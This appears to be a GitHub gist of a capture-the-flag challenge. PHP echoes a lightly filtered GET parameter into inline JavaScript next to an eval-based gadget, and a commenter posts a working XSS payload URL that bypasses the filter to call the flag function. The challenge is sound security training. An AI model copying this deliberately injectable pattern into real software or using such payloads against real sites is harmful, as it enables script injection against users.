Skip to content

Instantly share code, notes, and snippets.

@leveryd
Last active July 15, 2021 02:13
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save leveryd/40fcaed60727b6163b034145e332640f to your computer and use it in GitHub Desktop.
Save leveryd/40fcaed60727b6163b034145e332640f to your computer and use it in GitHub Desktop.
ctf
<body>
can you alert "flag"? <br>
<pre>
source code: https://gist.github.com/leveryd/40fcaed60727b6163b034145e332640f
</pre>
<script>
function hello(a, b, c){
if(a=="a" && b=="b" && c=="c"){
alert("flag");
}
}
var test ={
"a":function a(e){
try{
eval(this.call + ".test")
} catch(e){
console.log("bad")
}
}
}
<?php
$a = $_GET["a"];
$a = str_replace("=", "",$a);
$a = str_replace("(", "",$a);
$a = str_replace(")", "",$a);
$a = str_replace("`", "",$a);
$a = str_replace("\\", "",$a);
$a = str_replace("/", "",$a);
$a = str_replace("[", "",$a);
$a = str_replace("]", "",$a);
$a = str_replace("<", "&lt;",$a);
$a = str_replace(">", "&gt;",$a);
echo "var a='$a'";
?>
</script>
</body>
@rmb122
Copy link

rmb122 commented Jul 11, 2021

https://04bdb3a0.o53.xyz/a1e60ae3-4bac-4012-a0f3-5b7018677979.php?a=a%27%2b{call:%22%27%22%2bdocument.location.hash,toString:test.a};%27a#';hello('a','b','c');//

题目很有意思👍

@leveryd
Copy link
Author

leveryd commented Jul 12, 2021

https://04bdb3a0.o53.xyz/a1e60ae3-4bac-4012-a0f3-5b7018677979.php?a=a%27%2b{call:%22%27%22%2bdocument.location.hash,toString:test.a};%27a#';hello('a','b','c');//

题目很有意思👍

😄

@leveryd
Copy link
Author

leveryd commented Jul 12, 2021

题目来源和在线地址见 https://mp.weixin.qq.com/s/W01weO1Cg4s6dYDgRL8Kcw

@leveryd
Copy link
Author

leveryd commented Jul 15, 2021

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment